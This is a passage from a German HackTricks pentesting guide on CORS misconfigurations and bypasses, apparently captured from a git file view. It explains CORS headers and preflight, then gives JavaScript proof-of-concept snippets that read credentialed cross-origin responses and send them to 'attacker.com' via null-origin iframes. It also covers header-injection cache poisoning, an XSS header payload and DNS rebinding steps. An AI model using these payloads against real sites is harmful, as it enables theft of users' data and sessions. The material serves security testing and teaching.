hacktricks/pentesting-web/cors-bypass.md

401 lines
34 KiB
Markdown
Raw Normal View History

# CORS - Fehlkonfigurationen & Umgehung
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:25:17 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
2024-02-10 15:36:32 +00:00
## Was ist CORS?
Cross-Origin Resource Sharing (CORS) Standard **ermöglicht es Servern festzulegen, wer auf ihre Ressourcen zugreifen kann** und **welche HTTP-Anforderungsmethoden von externen Quellen erlaubt sind**.
Eine **Same-Origin**-Richtlinie schreibt vor, dass ein **Server, der eine Ressource anfordert**, und der Server, der die **Ressource hostet**, das gleiche Protokoll (z. B. `http://`), den gleichen Domainnamen (z. B. `internal-web.com`) und **Port** (z. B. 80) teilen. Unter dieser Richtlinie haben nur Webseiten aus der gleichen Domäne und dem gleichen Port Zugriff auf die Ressourcen.
Die Anwendung der Same-Origin-Richtlinie im Kontext von `http://normal-website.com/example/example.html` wird wie folgt dargestellt:
| Aufgerufene URL | Zugriff erlaubt? |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Ja: Identisches Schema, Domäne und Port |
| `http://normal-website.com/example2/` | Ja: Identisches Schema, Domäne und Port |
2024-02-10 15:36:32 +00:00
| `https://normal-website.com/example/` | Nein: Unterschiedliches Schema und Port |
| `http://en.normal-website.com/example/` | Nein: Unterschiedliche Domäne |
| `http://www.normal-website.com/example/` | Nein: Unterschiedliche Domäne |
| `http://normal-website.com:8080/example/` | Nein: Unterschiedlicher Port\* |
\*Internet Explorer ignoriert die Portnummer bei der Durchsetzung der Same-Origin-Richtlinie und erlaubt somit diesen Zugriff.
2024-02-10 15:36:32 +00:00
### `Access-Control-Allow-Origin`-Header
Dieser Header kann **mehrere Ursprünge**, einen **`null`**-Wert oder ein Wildcard **`*`** zulassen. Kein Browser unterstützt jedoch **mehrere Ursprünge**, und die Verwendung des Wildcards `*` unterliegt **Einschränkungen**. (Die Wildcard muss alleine verwendet werden, und ihre Verwendung zusammen mit `Access-Control-Allow-Credentials: true` ist nicht erlaubt.)
Dieser Header wird **von einem Server** als Antwort auf eine von einer Website initiierte Anforderung einer Ressource aus einer anderen Domäne ausgegeben, wobei der Browser automatisch einen `Origin`-Header hinzufügt.
2024-02-10 15:36:32 +00:00
### `Access-Control-Allow-Credentials`-Header
Standardmäßig werden Cross-Origin-Anfragen ohne Anmeldeinformationen wie Cookies oder dem Autorisierungsheader durchgeführt. Ein Server in einer anderen Domäne kann jedoch das Lesen der Antwort erlauben, wenn Anmeldeinformationen gesendet werden, indem der `Access-Control-Allow-Credentials`-Header auf **`true`** gesetzt wird.
Wenn auf `true` gesetzt, überträgt der Browser Anmeldeinformationen (Cookies, Autorisierungsheader oder TLS-Clientzertifikate).
```javascript
var xhr = new XMLHttpRequest();
2021-06-15 19:55:10 +00:00
xhr.onreadystatechange = function() {
2024-02-10 15:36:32 +00:00
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
2021-06-15 19:55:10 +00:00
}
2024-02-10 15:36:32 +00:00
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```
```javascript
fetch(url, {
2024-02-10 15:36:32 +00:00
credentials: 'include'
})
```
2021-04-12 11:42:31 +00:00
```javascript
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### CSRF Pre-Fluganfrage
2021-04-12 11:42:31 +00:00
### Verständnis von Pre-Flight-Anfragen in der Cross-Domain-Kommunikation
2021-11-30 16:46:07 +00:00
Bei der Initiierung einer Cross-Domain-Anfrage unter spezifischen Bedingungen, wie der Verwendung einer **nicht standardmäßigen HTTP-Methode** (alles außer HEAD, GET, POST), der Einführung neuer **Header** oder der Verwendung eines speziellen **Content-Type-Headerwerts**, kann eine Pre-Flight-Anfrage erforderlich sein. Diese vorläufige Anfrage, die die Methode **`OPTIONS`** nutzt, dient dazu, den Server über die Absichten der bevorstehenden Cross-Origin-Anfrage zu informieren, einschließlich der HTTP-Methoden und Header, die sie verwenden möchte.
2021-11-30 16:46:07 +00:00
Das **Cross-Origin Resource Sharing (CORS)**-Protokoll schreibt diese Pre-Flight-Überprüfung vor, um die Machbarkeit der angeforderten Cross-Origin-Operation zu bestimmen, indem die erlaubten Methoden, Header und die Vertrauenswürdigkeit des Ursprungs überprüft werden. Für ein detailliertes Verständnis darüber, welche Bedingungen die Notwendigkeit einer Pre-Flight-Anfrage umgehen, siehe den umfassenden Leitfaden von der [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
Es ist wichtig zu beachten, dass das **Fehlen einer Pre-Flight-Anfrage nicht die Notwendigkeit aufhebt, dass die Antwort Autorisierungsheader enthält**. Ohne diese Header ist der Browser nicht in der Lage, die Antwort der Cross-Origin-Anfrage zu verarbeiten.
Betrachten Sie die folgende Darstellung einer Pre-Flight-Anfrage, die darauf abzielt, die `PUT`-Methode zusammen mit einem benutzerdefinierten Header namens `Special-Request-Header` zu verwenden:
```
2024-02-05 20:00:40 +00:00
OPTIONS /info HTTP/1.1
Host: example2.com
...
2024-02-05 20:00:40 +00:00
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
In der Antwort könnte der Server Header zurückgeben, die die akzeptierten Methoden, den erlaubten Ursprung und andere CORS-Richtliniendetails anzeigen, wie unten dargestellt:
2024-02-05 20:00:40 +00:00
```markdown
HTTP/1.1 204 No Content
...
2024-02-05 20:00:40 +00:00
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
2024-02-05 20:00:40 +00:00
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: Dieser Header gibt an, welche Header während des eigentlichen Requests verwendet werden können. Er wird vom Server gesetzt, um die erlaubten Header in Anfragen vom Client anzugeben.
* **`Access-Control-Expose-Headers`**: Durch diesen Header informiert der Server den Client darüber, welche Header neben den einfachen Antwort-Headern als Teil der Antwort freigegeben werden können.
* **`Access-Control-Max-Age`**: Dieser Header gibt an, wie lange die Ergebnisse einer Pre-Flight-Anfrage zwischengespeichert werden können. Der Server legt die maximale Zeit in Sekunden fest, die die Informationen, die von einer Pre-Flight-Anfrage zurückgegeben werden, wiederverwendet werden können.
* **`Access-Control-Request-Headers`**: In Pre-Flight-Anfragen verwendet, wird dieser Header vom Client gesetzt, um den Server darüber zu informieren, welche HTTP-Header der Client im eigentlichen Request verwenden möchte.
* **`Access-Control-Request-Method`**: Dieser Header, ebenfalls in Pre-Flight-Anfragen verwendet, wird vom Client gesetzt, um anzuzeigen, welcher HTTP-Methoden im eigentlichen Request verwendet wird.
* **`Origin`**: Dieser Header wird automatisch vom Browser gesetzt und gibt den Ursprung der Cross-Origin-Anfrage an. Er wird vom Server verwendet, um zu beurteilen, ob die eingehende Anfrage basierend auf der CORS-Richtlinie erlaubt oder verweigert werden soll.
Beachten Sie, dass normalerweise (abhängig vom Content-Type und den gesetzten Headern) bei einer **GET/POST-Anfrage keine Pre-Flight-Anfrage gesendet wird** (die Anfrage wird **direkt** gesendet), aber wenn Sie auf die **Header/Body der Antwort zugreifen möchten**, muss sie einen _Access-Control-Allow-Origin_ Header enthalten, der dies erlaubt.\
2024-02-10 15:36:32 +00:00
**Daher schützt CORS nicht vor CSRF (kann aber hilfreich sein).**
### **Pre-Flight-Anfrage für lokale Netzwerkanfragen**
1. **`Access-Control-Request-Local-Network`**: Dieser Header ist in der Anfrage des Clients enthalten, um anzuzeigen, dass die Anfrage auf eine lokale Netzwerkressource abzielt. Er dient als Kennzeichnung, um den Server darüber zu informieren, dass die Anfrage aus dem lokalen Netzwerk stammt.
2. **`Access-Control-Allow-Local-Network`**: Als Antwort verwenden Server diesen Header, um mitzuteilen, dass die angeforderte Ressource für die Freigabe mit Entitäten außerhalb des lokalen Netzwerks zugelassen ist. Er fungiert als grünes Licht für den Austausch von Ressourcen über verschiedene Netzwerkgrenzen hinweg, um kontrollierten Zugriff zu gewährleisten und gleichzeitig Sicherheitsprotokolle einzuhalten.
Eine **gültige Antwort, die die lokale Netzwerkanfrage erlaubt**, muss auch in der Antwort den Header `Access-Controls-Allow-Local_network: true` enthalten:
```
HTTP/1.1 200 OK
...
2024-02-05 20:00:40 +00:00
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
{% hint style="warning" %}
Beachten Sie, dass die Linux-IP **0.0.0.0** verwendet werden kann, um diese Anforderungen zu umgehen und auf localhost zuzugreifen, da diese IP-Adresse nicht als "lokal" betrachtet wird.
Es ist auch möglich, die Anforderungen des lokalen Netzwerks zu umgehen, wenn Sie die **öffentliche IP-Adresse eines lokalen Endpunkts** verwenden (wie die öffentliche IP des Routers). Denn in mehreren Fällen wird selbst wenn auf die **öffentliche IP** zugegriffen wird, wenn es **aus dem lokalen Netzwerk** stammt, der Zugriff gewährt.
{% endhint %}
2024-02-10 15:36:32 +00:00
## Ausnutzbare Fehlkonfigurationen
Es wurde beobachtet, dass die Einstellung von `Access-Control-Allow-Credentials` auf **`true`** eine Voraussetzung für die meisten **echten Angriffe** darstellt. Diese Einstellung erlaubt es dem Browser, Anmeldeinformationen zu senden und die Antwort zu lesen, was die Effektivität des Angriffs erhöht. Ohne dies nimmt der Vorteil, den ein Browser eine Anfrage auszulösen gegenüber dem manuellen Ausführen hat, ab, da das Ausnutzen von Benutzercookies unpraktikabel wird.
2024-02-10 15:36:32 +00:00
### Ausnahme: Ausnutzung des Netzwerkstandorts als Authentifizierung
Eine Ausnahme besteht, wenn der Netzwerkstandort des Opfers als Form der Authentifizierung fungiert. Dies ermöglicht es dem Browser des Opfers, als Proxy verwendet zu werden, um die IP-basierte Authentifizierung zu umgehen und auf Intranet-Anwendungen zuzugreifen. Diese Methode weist Ähnlichkeiten mit DNS-Rebinding auf, ist jedoch einfacher auszunutzen.
2024-02-10 15:36:32 +00:00
### Reflektion von `Origin` in `Access-Control-Allow-Origin`
Das Szenario in der realen Welt, in dem der Wert des `Origin`-Headers in `Access-Control-Allow-Origin` reflektiert wird, ist theoretisch unwahrscheinlich aufgrund von Beschränkungen bei der Kombination dieser Header. Entwickler, die CORS für mehrere URLs aktivieren möchten, können jedoch den `Access-Control-Allow-Origin`-Header dynamisch generieren, indem sie den Wert des `Origin`-Headers kopieren. Dieser Ansatz kann Sicherheitslücken einführen, insbesondere wenn ein Angreifer eine Domain verwendet, die so gestaltet ist, dass sie legitim erscheint, und damit die Validierungslogik täuscht.
2021-11-30 16:46:07 +00:00
```html
<script>
2024-02-10 15:36:32 +00:00
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
2021-11-30 16:46:07 +00:00
</script>
```
### Ausnutzen des `null` Ursprungs
2021-11-30 16:46:07 +00:00
Der `null` Ursprung, der für Situationen wie Weiterleitungen oder lokale HTML-Dateien spezifiziert ist, nimmt eine einzigartige Position ein. Einige Anwendungen setzen diesen Ursprung auf die Whitelist, um die lokale Entwicklung zu erleichtern, wodurch sie versehentlich jeder Website ermöglichen, einen `null` Ursprung durch ein sandboxed iframe zu imitieren und somit die CORS-Beschränkungen zu umgehen.
2021-11-30 16:46:07 +00:00
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
2024-02-10 15:36:32 +00:00
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
2021-11-30 16:46:07 +00:00
</script>"></iframe>
```
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
2024-02-10 15:36:32 +00:00
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
2021-11-30 16:46:07 +00:00
</script>"></iframe>
```
### Reguläre Ausdruck-Bypass-Techniken
Beim Auffinden einer Domain-Whitelist ist es entscheidend, nach Umgehungsmöglichkeiten zu testen, wie das Anhängen der Domain des Angreifers an eine whitelisted Domain oder die Ausnutzung von Schwachstellen bei der Übernahme von Subdomains. Darüber hinaus können bei der Verwendung von regulären Ausdrücken zur Domänenvalidierung Nuancen in den Domänennamenskonventionen übersehen werden, was weitere Umgehungsmöglichkeiten bietet.
### Fortgeschrittene Reguläre Ausdruck-Bypasses
RegEx-Muster konzentrieren sich typischerweise auf alphanumerische, Punkt (.) und Bindestrich (-) Zeichen und vernachlässigen andere Möglichkeiten. Zum Beispiel kann ein Domainname so gestaltet sein, dass er Zeichen enthält, die von Browsern und RegEx-Mustern unterschiedlich interpretiert werden und Sicherheitsüberprüfungen umgehen können. Safaris, Chromes und Firefox' Umgang mit Unterstrichzeichen in Subdomains verdeutlicht, wie solche Unterschiede ausgenutzt werden können, um die Domänenvalidierungslogik zu umgehen.
**Für weitere Informationen und Einstellungen dieses Bypass-Checks:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **und** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (284).png>)
2024-02-10 15:36:32 +00:00
### Von XSS innerhalb einer Subdomain
Entwickler implementieren oft Abwehrmechanismen, um sich vor CORS-Exploitation zu schützen, indem sie Domains auf diejenigen beschränken, die berechtigt sind, Informationen anzufordern. Trotz dieser Vorsichtsmaßnahmen ist die Sicherheit des Systems nicht narrensicher. Das Vorhandensein auch nur einer anfälligen Subdomain innerhalb der whitelisted Domains kann die Tür zur CORS-Exploitation durch andere Schwachstellen öffnen, wie z.B. XSS (Cross-Site Scripting).
Um dies zu verdeutlichen, betrachten Sie das Szenario, in dem eine Domain, `requester.com`, auf Ressourcen einer anderen Domain, `provider.com`, zugreifen darf. Die serverseitige Konfiguration könnte so aussehen:
```javascript
2024-02-05 20:00:40 +00:00
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
2024-02-10 15:36:32 +00:00
// Access data
2024-02-05 20:00:40 +00:00
} else {
2024-02-10 15:36:32 +00:00
// Unauthorized access
2021-04-22 13:58:44 +00:00
}
```
In diesem Setup haben alle Subdomains von `requester.com` Zugriff. Wenn jedoch eine Subdomain, z. B. `sub.requester.com`, durch eine XSS-Schwachstelle kompromittiert ist, kann ein Angreifer diese Schwachstelle ausnutzen. Ein Angreifer mit Zugriff auf `sub.requester.com` könnte beispielsweise die XSS-Schwachstelle ausnutzen, um CORS-Richtlinien zu umgehen und böswillig auf Ressourcen auf `provider.com` zuzugreifen.
2024-02-10 15:36:32 +00:00
### **Serverseitige Cache-Vergiftung**
2024-02-05 20:00:40 +00:00
[**Aus dieser Forschung**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Es ist möglich, dass durch Ausnutzen einer serverseitigen Cache-Vergiftung durch HTTP-Header-Injektion eine gespeicherte Cross-Site-Scripting (XSS)-Schwachstelle induziert werden kann. Dieses Szenario entfaltet sich, wenn eine Anwendung den `Origin`-Header nicht auf illegale Zeichen überprüft, was insbesondere für Internet Explorer- und Edge-Benutzer eine Schwachstelle schafft. Diese Browser behandeln (0x0d) als legitimen HTTP-Header-Terminator, was zu HTTP-Header-Injektionsschwachstellen führt.
2024-02-10 15:36:32 +00:00
Betrachten Sie die folgende Anfrage, bei der der `Origin`-Header manipuliert wird:
```
2024-02-05 20:00:40 +00:00
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet Explorer und Edge interpretieren die Antwort als:
```
2024-02-05 20:00:40 +00:00
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Während es nicht möglich ist, diese Schwachstelle direkt auszunutzen, indem ein Webbrowser einen fehlerhaften Header sendet, kann eine manipulierte Anfrage manuell mithilfe von Tools wie Burp Suite generiert werden. Diese Methode könnte dazu führen, dass ein serverseitiger Cache die Antwort speichert und sie unbeabsichtigt an andere weitergibt. Das manipulierte Payload zielt darauf ab, den Zeichensatz der Seite in UTF-7 zu ändern, eine Zeichenkodierung, die aufgrund ihrer Fähigkeit, Zeichen auf eine Weise zu kodieren, die in bestimmten Kontexten als Skript ausgeführt werden kann, oft mit XSS-Schwachstellen in Verbindung gebracht wird.
2024-02-10 15:36:32 +00:00
Für weitere Informationen zu gespeicherten XSS-Schwachstellen siehe [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Hinweis**: Die Ausnutzung von HTTP-Header-Injektionsschwachstellen, insbesondere durch serverseitiges Caching-Vergiften, unterstreicht die entscheidende Bedeutung der Validierung und Säuberung aller vom Benutzer bereitgestellten Eingaben, einschließlich der HTTP-Header. Verwenden Sie immer ein robustes Sicherheitsmodell, das eine Eingabevalidierung umfasst, um solche Schwachstellen zu verhindern.
### **Clientseitiges Caching-Vergiften**
[**Aus dieser Forschung**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
In diesem Szenario wird eine Instanz einer Webseite beobachtet, die den Inhalt eines benutzerdefinierten HTTP-Headers ohne ordnungsgemäße Codierung widerspiegelt. Speziell gibt die Webseite den Inhalt eines `X-User-id`-Headers zurück, der bösartiges JavaScript enthalten könnte, wie im Beispiel gezeigt, in dem der Header ein SVG-Bildtag enthält, das darauf ausgelegt ist, beim Laden JavaScript-Code auszuführen.
2021-04-22 13:58:44 +00:00
Cross-Origin Resource Sharing (CORS)-Richtlinien ermöglichen das Senden von benutzerdefinierten Headern. Ohne dass die Antwort aufgrund von CORS-Beschränkungen direkt vom Browser gerendert wird, könnte die Nützlichkeit einer solchen Injektion begrenzt erscheinen. Der kritische Punkt ergibt sich beim Betrachten des Browser-Cache-Verhaltens. Wenn der `Vary: Origin`-Header nicht angegeben ist, wird es möglich, dass die bösartige Antwort vom Browser zwischengespeichert wird. Anschließend könnte diese zwischengespeicherte Antwort direkt gerendert werden, wenn die URL aufgerufen wird, ohne dass eine direkte Rendervorgang bei der ursprünglichen Anfrage erforderlich ist. Dieser Mechanismus verbessert die Zuverlässigkeit des Angriffs durch Nutzung des clientseitigen Cachings.
Um diesen Angriff zu veranschaulichen, wird ein JavaScript-Beispiel bereitgestellt, das darauf ausgelegt ist, in der Umgebung einer Webseite ausgeführt zu werden, beispielsweise über ein JSFiddle. Dieses Skript führt eine einfache Aktion aus: Es sendet eine Anfrage an eine angegebene URL mit einem benutzerdefinierten Header, der das bösartige JavaScript enthält. Nach erfolgreicher Anfrage versucht es, zur Ziel-URL zu navigieren, was potenziell die Ausführung des injizierten Skripts auslösen könnte, wenn die Antwort zwischengespeichert wurde, ohne ordnungsgemäße Behandlung des `Vary: Origin`-Headers.
Hier ist eine zusammengefasste Aufschlüsselung des verwendeten JavaScripts, um diesen Angriff auszuführen:
2024-02-05 20:00:40 +00:00
```html
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
2024-02-05 20:00:40 +00:00
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
2024-02-05 20:00:40 +00:00
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
## Umgehen
2022-05-02 00:28:26 +00:00
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, auch bekannt als Cross-Site Script Inclusion, ist ein Typ von Schwachstelle, der ausnutzt, dass die Same Origin Policy (SOP) nicht angewendet wird, wenn Ressourcen mittels des script-Tags inkludiert werden. Dies liegt daran, dass Skripte von verschiedenen Domains inkludiert werden können müssen. Diese Schwachstelle erlaubt einem Angreifer auf jeglichen Inhalt zuzugreifen und diesen zu lesen, der mittels des script-Tags inkludiert wurde.
Diese Schwachstelle wird besonders signifikant, wenn es um dynamisches JavaScript oder JSONP (JSON mit Padding) geht, insbesondere wenn Umgebungsautoritätsinformationen wie Cookies für die Authentifizierung verwendet werden. Beim Anfordern einer Ressource von einem anderen Host werden die Cookies inkludiert, was sie für den Angreifer zugänglich macht.
2024-02-05 20:00:40 +00:00
Um diese Schwachstelle besser zu verstehen und zu mildern, kannst du das BurpSuite-Plugin verwenden, das unter [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) verfügbar ist. Dieses Plugin kann helfen, potenzielle XSSI-Schwachstellen in deinen Webanwendungen zu identifizieren und anzugehen.
[**Erfahre mehr über die verschiedenen Arten von XSSI und wie man sie ausnutzen kann hier.**](xssi-cross-site-script-inclusion.md)
Versuche einen **`callback`** **Parameter** in der Anfrage hinzuzufügen. Möglicherweise wurde die Seite darauf vorbereitet, die Daten als JSONP zu senden. In diesem Fall wird die Seite die Daten mit `Content-Type: application/javascript` zurücksenden, was die CORS-Richtlinie umgeht.
![](<../.gitbook/assets/image (856).png>)
### Einfacher (nutzloser?) Umgehung
Eine Möglichkeit, die `Access-Control-Allow-Origin`-Einschränkung zu umgehen, besteht darin, eine Webanwendung aufzufordern, eine Anfrage in deinem Namen zu stellen und die Antwort zurückzusenden. In diesem Szenario werden jedoch die Anmeldeinformationen des endgültigen Opfers nicht gesendet, da die Anfrage an eine andere Domain gestellt wird.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Dieses Tool bietet einen Proxy, der deine Anfrage zusammen mit ihren Headern weiterleitet und gleichzeitig den Origin-Header fälscht, um mit der angeforderten Domain übereinzustimmen. Dies umgeht effektiv die CORS-Richtlinie. Hier ist ein Beispiel für die Verwendung mit XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Dieses Tool bietet einen alternativen Ansatz zum Weiterleiten von Anfragen. Anstatt deine Anfrage wie sie ist weiterzuleiten, macht der Server seine eigene Anfrage mit den angegebenen Parametern.
### Iframe + Popup Umgehung
2022-04-29 14:06:04 +00:00
Du kannst **CORS-Prüfungen umgehen** wie `e.origin === window.origin`, indem du ein **Iframe erstellst** und **daraus ein neues Fenster öffnest**. Weitere Informationen findest du auf der folgenden Seite:
2022-04-29 14:06:04 +00:00
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
2024-02-10 15:36:32 +00:00
### DNS-Rebinding über TTL
2024-02-10 15:36:32 +00:00
DNS-Rebinding über TTL ist eine Technik, die verwendet wird, um bestimmte Sicherheitsmaßnahmen zu umgehen, indem DNS-Einträge manipuliert werden. So funktioniert es:
2024-02-10 15:36:32 +00:00
1. Der Angreifer erstellt eine Webseite und lässt das Opfer darauf zugreifen.
2. Der Angreifer ändert dann die DNS (IP) seiner eigenen Domain, um auf die Webseite des Opfers zu verweisen.
3. Der Browser des Opfers zwischenspeichert die DNS-Antwort, die möglicherweise einen TTL (Time to Live) Wert hat, der angibt, wie lange der DNS-Eintrag als gültig betrachtet werden soll.
4. Wenn der TTL abläuft, macht der Browser des Opfers eine neue DNS-Anfrage, was es dem Angreifer ermöglicht, JavaScript-Code auf der Seite des Opfers auszuführen.
5. Indem der Angreifer die Kontrolle über die IP des Opfers behält, kann er Informationen vom Opfer sammeln, ohne Cookies an den Opferserver zu senden.
2022-04-30 00:02:29 +00:00
Es ist wichtig zu beachten, dass Browser Caching-Mechanismen haben, die möglicherweise einen sofortigen Missbrauch dieser Technik verhindern, selbst bei niedrigen TTL-Werten.
2022-04-30 00:02:29 +00:00
DNS-Rebinding kann nützlich sein, um explizite IP-Prüfungen des Opfers zu umgehen oder für Szenarien, in denen ein Benutzer oder Bot für eine längere Zeit auf derselben Seite bleibt, was es ermöglicht, dass der Cache abläuft.
2022-04-30 00:02:29 +00:00
Wenn du eine schnelle Möglichkeit benötigst, DNS-Rebinding zu missbrauchen, kannst du Dienste wie [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) verwenden.
2022-04-30 00:02:29 +00:00
Um deinen eigenen DNS-Rebinding-Server zu betreiben, kannst du Tools wie **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) nutzen. Dies beinhaltet das Freigeben deines lokalen Ports 53/udp, das Erstellen eines A-Eintrags, der darauf zeigt (z. B. ns.example.com), und das Erstellen eines NS-Eintrags, der auf den zuvor erstellten A-Subdomain zeigt (z. B. ns.example.com). Jede Subdomain der ns.example.com-Subdomain wird dann von deinem Host aufgelöst.
Du kannst auch einen öffentlich laufenden Server unter [http://rebind.it/singularity.html](http://rebind.it/singularity.html) erkunden, um ein besseres Verständnis und Experimente durchzuführen.
2022-04-29 15:51:30 +00:00
### DNS-Rebinding über **DNS-Cache-Fluten**
2022-05-02 00:28:26 +00:00
DNS-Rebinding über DNS-Cache-Fluten ist eine weitere Technik, die verwendet wird, um den Caching-Mechanismus von Browsern zu umgehen und eine zweite DNS-Anfrage zu erzwingen. So funktioniert es:
2022-04-30 00:02:29 +00:00
1. Zunächst, wenn das Opfer eine DNS-Anfrage stellt, wird mit der IP-Adresse des Angreifers geantwortet.
2. Um die Caching-Verteidigung zu umgehen, nutzt der Angreifer einen Service Worker. Der Service Worker flutet den DNS-Cache, was effektiv den gecachten Angreifer-Servernamen löscht.
3. Wenn der Browser des Opfers eine zweite DNS-Anfrage stellt, wird nun mit der IP-Adresse 127.0.0.1 geantwortet, die normalerweise auf den localhost verweist.
2022-05-02 00:28:26 +00:00
Durch Fluten des DNS-Caches mit dem Service Worker kann der Angreifer den DNS-Auflösungsprozess manipulieren und den Browser des Opfers zwingen, eine zweite Anfrage zu stellen, die dieses Mal auf die gewünschte IP-Adresse des Angreifers verweist.
2022-05-02 00:28:26 +00:00
2024-02-10 15:36:32 +00:00
### DNS-Rebinding über **Cache**
2022-05-02 00:28:26 +00:00
Eine weitere Möglichkeit, die Caching-Verteidigung zu umgehen, besteht darin, mehrere IP-Adressen für dieselbe Subdomain beim DNS-Anbieter zu nutzen. So funktioniert es:
2022-04-30 00:02:29 +00:00
1. Der Angreifer richtet zwei A-Einträge (oder einen einzelnen A-Eintrag mit zwei IPs) für dieselbe Subdomain beim DNS-Anbieter ein.
2024-02-10 15:36:32 +00:00
2. Wenn ein Browser diese Einträge überprüft, erhält er beide IP-Adressen.
3. Wenn der Browser sich entscheidet, zuerst die IP-Adresse des Angreifers zu verwenden, kann der Angreifer eine Nutzlast bereitstellen, die HTTP-Anfragen an dieselbe Domain durchführt.
4. Sobald der Angreifer jedoch die IP-Adresse des Opfers erhält, hört er auf, auf den Browser des Opfers zu antworten.
5. Der Browser des Opfers, nachdem er feststellt, dass die Domain nicht reagiert, wechselt zur Verwendung der zweiten gegebenen IP-Adresse.
6. Durch den Zugriff auf die zweite IP-Adresse umgeht der Browser die Same Origin Policy (SOP), was es dem Angreifer ermöglicht, dies auszunutzen und Informationen vom Opfer zu sammeln und zu exfiltrieren.
2022-04-30 00:02:29 +00:00
Diese Technik nutzt das Verhalten von Browsern aus, wenn mehrere IP-Adressen für eine Domain bereitgestellt werden. Indem die Antworten strategisch kontrolliert und die Wahl der IP-Adresse des Browsers manipuliert wird, kann ein Angreifer die SOP ausnutzen und Informationen vom Opfer abrufen.
2022-04-30 00:02:29 +00:00
2022-04-30 03:02:38 +00:00
{% hint style="warning" %}
Beachte, dass du, um auf localhost zuzugreifen, versuchen solltest, **127.0.0.1** in Windows und **0.0.0.0** in Linux zurückzubinden.\
